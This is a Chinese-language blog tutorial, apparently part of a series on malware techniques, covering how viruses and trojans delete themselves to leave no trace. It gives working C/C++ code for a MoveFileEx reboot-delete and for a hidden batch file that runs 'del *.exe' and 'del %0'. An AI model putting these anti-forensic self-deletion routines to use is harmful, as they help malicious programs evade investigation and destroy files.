C/C++惡意代碼盤點之文件自動刪除
前言
惡意代碼的分類包括計算機病毒、蠕蟲、木馬、后門、Rootkit、流氓軟件、間諜軟件、廣告軟件、僵尸(bot) 、Exploit等等,有些技術經常用到,有的也是必然用到。

上次咱們分享了一部分,那么今天我們就分享一下文件自動刪除。
自刪除功能對病毒木馬來說同樣至關重要,它通常在完成目標任務之后刪除自身,不留下任何蛛絲馬跡,自刪除的方法有很多種,常見的有利用MoveFileEx重啟刪除和利用批處理刪除兩種方式。
1、MoveFileEx重啟刪除
MOVEFILE_DELAY_UNTIL_REBOOT這個標志只能由擁有管理員權限的程序或者擁有本地系統(tǒng)權限的程序使用,而且這個標志不能MOVEFILE_COPY_ALLOWED一起使用,并且,刪除文件的路徑開頭需要加上“\?\"前綴。
源代碼實現(xiàn)
#include "stdafx.h"
#include <Windows.h>
BOOL RebootDelete(char *pszFileName)
{
// 重啟刪除文件
char szTemp[MAX_PATH] = "\\\\?\\";
::lstrcat(szTemp, pszFileName);
BOOL bRet = ::MoveFileEx(szTemp, NULL, MOVEFILE_DELAY_UNTIL_REBOOT);
return bRet;
}
int _tmain(int argc, _TCHAR* argv[])
{
if (FALSE == RebootDelete("C:\\Users\\Test\\Desktop\\520.exe"))
{
printf("Set Reboot Delete Error.\n");
}
else
{
printf("Set Reboot Delete OK.\n");
}
system("pause");
return 0;
}
2、利用批處理命令刪除
del %0
批處理命令會將自身批處理文件刪除而且不放進回收站。
具體流程
1 構造自刪除批處理文件,該批處理文件的功能就是先利用choice或ping命令延遲一定的時間,之后才開始執(zhí)行刪除文件操作,最后執(zhí)行自刪除命令。
2 在程序中創(chuàng)建一個新進程并調用批處理文件,程序在進程創(chuàng)建成功后,立刻退出整個程序。
源代碼實現(xiàn)
#include "stdafx.h"
#include <Windows.h>
BOOL CreateChoiceBat(char *pszBatFileName)
{
int iTime = 5;
char szBat[MAX_PATH] = { 0 };
// 構造批處理內容
/*
@echo off
choice /t 5 /d y /n >nul
del *.exe
del %0
*/
::wsprintf(szBat, "@echo off\nchoice /t %d /d y /n >nul\ndel *.exe\ndel %%0\n", iTime);
// 生成批處理文件
FILE *fp = NULL;
fopen_s(&fp, pszBatFileName, "w+");
if (NULL == fp)
{
return FALSE;
}
fwrite(szBat, (1 + ::lstrlen(szBat)), 1, fp);
fclose(fp);
return TRUE;
}
BOOL CreatePingBat(char *pszBatFileName)
{
int iTime = 5;
char szBat[MAX_PATH] = {0};
// 構造批處理內容
/*
@echo off
ping 127.0.0.1 -n 5
del *.exe
del %0
*/
::wsprintf(szBat, "@echo off\nping 127.0.0.1 -n %d\ndel *.exe\ndel %%0\n", iTime);
// 生成批處理文件
FILE *fp = NULL;
fopen_s(&fp, pszBatFileName, "w+");
if (NULL == fp)
{
return FALSE;
}
fwrite(szBat, (1 + ::lstrlen(szBat)), 1, fp);
fclose(fp);
return TRUE;
}
BOOL DelSelf(int iType)
{
BOOL bRet = FALSE;
char szCurrentDirectory[MAX_PATH] = {0};
char szBatFileName[MAX_PATH] = {0};
char szCmd[MAX_PATH] = {0};
// 獲取當前程序所在目錄
::GetModuleFileName(NULL, szCurrentDirectory, MAX_PATH);
char *p = strrchr(szCurrentDirectory, '\\');
p[0] = '\0';
// 構造批處理文件路徑
::wsprintf(szBatFileName, "%s\\temp.bat", szCurrentDirectory);
// 構造調用執(zhí)行批處理的 CMD 命令行
::wsprintf(szCmd, "cmd /c call \"%s\"", szBatFileName);
// 創(chuàng)建自刪除的批處理文件
if (0 == iType)
{
// choice 方式
bRet = CreateChoiceBat(szBatFileName);
}
else if (1 == iType)
{
// ping 方式
bRet = CreatePingBat(szBatFileName);
}
// 創(chuàng)建新的進程, 以隱藏控制臺的方式執(zhí)行批處理
if (bRet)
{
STARTUPINFO si = { 0 };
PROCESS_INFORMATION pi;
si.cb = sizeof(si);
//指定wShowWindow成員有效
si.dwFlags = STARTF_USESHOWWINDOW;
//此成員設為TRUE的話則顯示新建進程的主窗口
si.wShowWindow = FALSE;
BOOL bRet = CreateProcess(
//不在此指定可執(zhí)行文件的文件名
NULL,
//命令行參數(shù)
szCmd,
//默認進程安全性
NULL,
//默認進程安全性
NULL,
//指定當前進程內句柄不可以被子進程繼承
FALSE,
//為新進程創(chuàng)建一個新的控制臺窗口
CREATE_NEW_CONSOLE,
//使用本進程的環(huán)境變量
NULL,
//使用本進程的驅動器和目錄
NULL,
&si,
&pi);
if (bRet)
{
//不使用的句柄最好關掉
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
// 結束進程
exit(0);
::ExitProcess(NULL);
}
}
return bRet;
}
int _tmain(int argc, _TCHAR* argv[])
{
// 程序自刪除
BOOL bRet = DelSelf( 0 );
if (FALSE == bRet)
{
printf("Selft Delete Error!\n");
}
else
{
printf("Selft Delete OK!\n");
}
system("pause");
return 0;到此這篇關于C/C++惡意代碼盤點之文件自動刪除的文章就介紹到這了,更多相關C/C++文件自動刪除內容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關文章希望大家以后多多支持腳本之家!
相關文章
C++實現(xiàn)LeetCode(133.克隆無向圖)
這篇文章主要介紹了C++實現(xiàn)LeetCode(133.克隆無向圖),本篇文章通過簡要的案例,講解了該項技術的了解與使用,以下就是詳細內容,需要的朋友可以參考下2021-07-07
C語言編寫基于TCP和UDP協(xié)議的Socket通信程序示例
這篇文章主要介紹了C語言編寫基于TCP和UDP協(xié)議的Socket通信程序示例,其中TCP的客戶端與服務器端采用多線程實現(xiàn),需要的朋友可以參考下2016-03-03

